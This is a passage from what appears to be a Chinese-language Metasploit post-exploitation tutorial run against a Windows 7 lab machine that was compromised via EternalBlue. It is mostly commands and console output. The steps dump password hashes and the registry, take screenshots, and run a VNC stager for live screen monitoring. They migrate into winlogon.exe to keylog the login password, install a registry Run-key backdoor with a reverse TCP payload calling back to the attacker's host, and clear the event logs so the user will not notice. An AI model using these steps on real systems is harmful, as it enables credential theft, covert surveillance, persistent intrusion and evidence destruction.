C:\Windows\Explorer.EXE1572 424 svchost.exe x64 0 NT AUTHORITY\LOCAL SERVICE1664 424 svchost.exe x64 0 NT AUTHORITY\NETWORK SERVICE1808 424 svchost.exe x64 0 NT AUTHORITY\LOCAL SERVICE2000 544 WmiPrvSE.exe x64 0 NT AUTHORITY\SYSTEM C:\Windows\system32\wbem\wmiprvse.exe2032 424 svchost.exe x64 0 NT AUTHORITY\SYSTEM查看当前的进程号
meterpreter getpidCurrent pid: 724查看系统信息
meterpreter sysinfoComputer : WIN-B288VI6HEBH
OS : Windows 7 (6.1 Build 7601, Service Pack 1).
Architecture : x64
System Language : zh_CN
Domain : WORKGROUP
Logged On Users : 2
Meterpreter : x64/windows自动提权
meterpreter getsystem[-] Already running as SYSTEM由于当前我们已经是最高权限所以会失败
查看当前权限
meterpreter getuidServer username: NT AUTHORITY\SYSTEM获取系统详细信息
meterpreter run scraper[*] New session on 192.168.11.135:445...
[*] Gathering basic system information...
[*] Dumping password hashes...
[*] Obtaining the entire registry...
[*] Exporting HKCU
[*] Downloading HKCU (C:\Windows\TEMP\lFQyvFTG.reg)
[*] Cleaning HKCU
[*] Exporting HKLM
[*] Downloading HKLM (C:\Windows\TEMP\ItWcfBzd.reg)
[*] Exception: Rex::TimeoutError Send timed out [/usr/share/metasploit-framework/lib/rex/post/meterpreter/packet_dispatcher.rb:181:in send_request, /usr/share/metasploit-framework/lib/rex/post/meterpreter/channel.rb:199:in _read, /usr/share/metasploit-framework/lib/rex/post/meterpreter/channel.rb:176:in read, /usr/share/metasploit-framework/lib/rex/post/meterpreter/channels/pool.rb:77:in read, /usr/share/metasploit-framework/lib/rex/post/meterpreter/extensions/stdapi/fs/io.rb:25:in sysread, /usr/share/metasploit-framework/lib/rex/post/meterpreter/extensions/stdapi/fs/file.rb:465:in download_file, (eval):160:in block in run, (eval):153:in each, (eval):153:in run, /usr/share/metasploit-framework/lib/rex/script/base.rb:44:in eval, /usr/share/metasploit-framework/lib/rex/script/base.rb:44:in run, /usr/share/metasploit-framework/lib/msf/base/sessions/meterpreter.rb:318:in execute_file, /usr/share/metasploit-framework/lib/msf/base/sessions/scriptable.rb:183:in execute_script, /usr/share/metasploit-framework/lib/rex/post/meterpreter/ui/console/command_dispatcher/core.rb:1502:in cmd_run, /usr/share/metasploit-framework/lib/rex/ui/text/dispatcher_shell.rb:581:in run_command, /usr/share/metasploit-framework/lib/rex/post/meterpreter/ui/console.rb:102:in run_command, /usr/share/metasploit-framework/lib/rex/ui/text/dispatcher_shell.rb:530:in block in run_single, /usr/share/metasploit-framework/lib/rex/ui/text/dispatcher_shell.rb:524:in each, /usr/share/metasploit-framework/lib/rex/ui/text/dispatcher_shell.rb:524:in run_single, /usr/share/metasploit-framework/lib/rex/post/meterpreter/ui/console.rb:64:in block in interact, /usr/share/metasploit-framework/lib/rex/ui/text/shell.rb:163:in run, /usr/share/metasploit-framework/lib/rex/post/meterpreter/ui/console.rb:62:in interact, /usr/share/metasploit-framework/lib/msf/base/sessions/meterpreter.rb:565:in _interact, /usr/share/metasploit-framework/lib/rex/ui/interactive.rb:53:in interact, /usr/share/metasploit-framework/lib/msf/ui/console/command_dispatcher/core.rb:1682:in cmd_sessions, /usr/share/metasploit-framework/lib/rex/ui/text/dispatcher_shell.rb:581:in run_command, /usr/share/metasploit-framework/lib/rex/ui/text/dispatcher_shell.rb:530:in block in run_single, /usr/share/metasploit-framework/lib/rex/ui/text/dispatcher_shell.rb:524:in each, /usr/share/metasploit-framework/lib/rex/ui/text/dispatcher_shell.rb:524:in run_single, /usr/share/metasploit-framework/lib/rex/ui/text/shell.rb:168:in run, /usr/share/metasploit-framework/lib/metasploit/framework/command/console.rb:48:in start, /usr/share/metasploit-framework/lib/metasploit/framework/command/base.rb:82:in start, /usr/bin/msfconsole:23:in main]获取到的信息全部保存在
ls ~/.msf4/logs/scripts/scraper/192.168.11.135_20230831.422531219env.txt hashes.txt HKLM.reg nethood.txt services.txt systeminfo.txt users.txt
group.txt HKCU.reg localgroup.txt network.txt shares.txt system.txt查看目标机器安装了哪些应用
meterpreter run post/windows/gather/enum_applications[*] Enumerating applications installed on WIN-B288VI6HEBH Installed Applications Name Version ---- ------- [] Results stored in: /root/.msf4/loot/20230831034956_default_192.168.1107.txt可以看到没有任何应用因为我新开的靶机没有进行安装所以扫不到应用同时它也会将扫描到的结果保存在一个文件中
屏幕截图
截取当前屏幕的截图
meterpreter screenshotScreenshot saved to: /usr/share/metasploit-framework/AoUvtimi.jpeg同时他也会将文件保留我们访问一下这个文件 可以看到确实进行了屏幕截图并保存
屏幕监控
meterpreter run vnc[*] Creating a VNC reverse tcp stager: LHOST192.168.11.129 LPORT4545
[*] Running payload handler
[*] VNC stager executable 73802 bytes long
[*] Uploaded the VNC agent to C:\Windows\TEMP\FlqqRKTAwzAk.exe (must be deleted manually)
[*] Executing the VNC agent with endpoint 192.168.11.129:4545...
meterpreter Connected to RFB server, using protocol version 3.8
Enabling TightVNC protocol extensions
No authentication needed
Authentication successful
Desktop name win-b288vi6hebh
VNC server default format:32 bits per pixel.Least significant byte first in each pixel.True colour: max red 255 green 255 blue 255, shift red 16 green 8 blue 0
Using default colormap which is TrueColor. Pixel format:32 bits per pixel.Least significant byte first in each pixel.True colour: max red 255 green 255 blue 255, shift red 16 green 8 blue 0
Same machine: preferring raw encoding执行成功之后会弹出窗口进行实时的屏幕监控
结果如下 进程迁移
使用getpid查看当前的进程
并将进程切换到winlogon.exe的进程
380 320 winlogon.exemeterpreter migrate 380[*] Migration completed successfully.成功切换
键盘记录
键盘记录必须绑定进程才能获取键盘输入
先绑定完才能进行键盘监听的进程
我们此处绑定winlogon.exe的进程因为它是登录相关的进程
我们可以藉此获取登录密码
首先绑定winlogon.exe的进程
1460 1712 winlogon.exe可以看到进程为1460
绑定
meterpreter migrate 1460
[*] Migrating from 2992 to 1460...
[*] Migration completed successfully.开始键盘监听
我们先将win7锁定回到登录页面 然后输入密码admin
这时候我们返回kali输出键盘监听的结果
meterpreter keyscan_dumpDumping captured keystrokes...
adminCR成功监听到密码
PSkeyscan_stop是停止键盘监听
生成持续性后门
因为 Meterpreter 是基于内存DLL建立的连接所以只要目标主机关机我们的连接就会断。总不可能我们每次想连接的时候每次都去攻击然后再利用 Meterpreter 建立连接。所以我们得在目标主机系统内留下一个持续性的后门只要目标主机开机了我们就可以连接到该主机。
通过注册表的方式创建持续性后门从而达到目标主机一开机我们就可以对其进行连接。
本处我们依旧使用永恒之蓝漏洞作为样例进行解析
选择到永恒之蓝的漏洞exploit连接到shell
然后输入bg将会话进行挂起待会进行连接
meterpreter bg[*] Backgrounding session 2...msf6 exploit(windows/smb/ms17_010_eternalblue) 现在我们可以看到session编号是2待会我们会使用这个session
然后我们不要使用它默认的payload
将payload进行更换
查看所有的payload
msf6 exploit(windows/smb/ms17_010_eternalblue) show payloads 更换payload
msf6 exploit(windows/smb/ms17_010_eternalblue) use exploit/windows/local/persistence查看需要添加的参数
msf6 exploit(windows/local/persistence) show optionsModule options (exploit/windows/local/persistence): Name Current Setting Required Description ---- --------------- -------- -----------DELAY 10 yes Delay (in seconds) for persistent payload to keep reconnecting back.EXE_NAME no The filename for the payload to be used on the target host (%RAND%.exe by default).PATH no Path to write payload (%TEMP% by default).REG_NAME no The name to call registry value for persistence on target host (%RAND% by default).SESSION yes The session to run this module onSTARTUP USER yes Startup type for the persistent payload. (Accepted: USER, SYSTEM)VBS_NAME no The filename to use for the VBS persistent script on the target host(%RAND% by default).Payload options (windows/meterpreter/reverse_tcp):Name Current Setting Required Description---- --------------- -------- -----------EXITFUNC process yes Exit technique (Accepted: , seh, thread, process, none)LHOST 192.168.11.129 yes The listen address (an interface may be specified)LPORT 4444 yes The listen port**DisablePayloadHandler: True (no handler will be created!)**Exploit target:Id Name-- ----0 Windows对应是yes的参数就是必填参数
DELAY、SESSION、STARTUP、EXITFUNC、LHOST、LPORT
已经填入参数的的部分我们及基本不用进行修改除了STARTUP对应的USER权限过低我们要将其改成SYSTEM提高权限。
先进行设置session
msf6 exploit(windows/local/persistence) set SESSION 2SESSION 2然后我们更改USER为SYSTEM
msf6 exploit(windows/local/persistence) set STARTUP SYSTEMSTARTUP SYSTEM接下来就可以直接运行
将这个服务写入靶机的注册表里面
msf6 exploit(windows/local/persistence) run[*] Running persistent module against WIN-B288VI6HEBH via session ID: 2
[] Persistent VBS script written on WIN-B288VI6HEBH to C:\Windows\TEMP\EMjGouItv.vbs
[*] Installing as HKLM\Software\Microsoft\Windows\CurrentVersion\Run\ShwaKYPpokUR
[] Installed autorun on WIN-B288VI6HEBH as HKLM\Software\Microsoft\Windows\CurrentVersion\Run\ShwaKYPpokUR
[*] Clean up Meterpreter RC file: /root/.msf4/logs/persistence/WIN-B288VI6HEBH_20230901.0315/WIN-B288VI6HEBH_20230901.0315.rc接下来我们只需要进行监听就可以了
msf6 exploit(windows/local/persistence) back选择监听模块
msf6 use exploit/multi/handler设置payload
msf6 exploit(multi/handler) set payload windows/meterpreter/reverse_tcp查看缺失的必选参数
msf6 exploit(multi/handler) show missingModule options (exploit/multi/handler):Name Current Setting Required Description---- --------------- -------- -----------Payload options (windows/meterpreter/reverse_tcp):Name Current Set Required Descriptionting---- ----------- -------- -----------LHOST yes The listen address (an interfacemay be specified)可以看到这里缺失的是LHOST所以这边我们要填写本机的IP地址
msf6 exploit(multi/handler) set LHOST 192.168.11.129检查一下Windows靶机中注册表有没有写入 可以看到已经成功写入
然后直接运行开始监听(到这边已经正式脱离了永恒之蓝漏洞了)
msf6 exploit(multi/handler) run清除事件日志
Windows系统会自动将所有的登录信息记录到登录日志当中去 在这边我们可以看到许多特殊登录的信息这就是我们通过后门进行登录的信息我们得清除这些信息才能让使用者不会发现我们。
清除事件日志命令
meterpreter clearev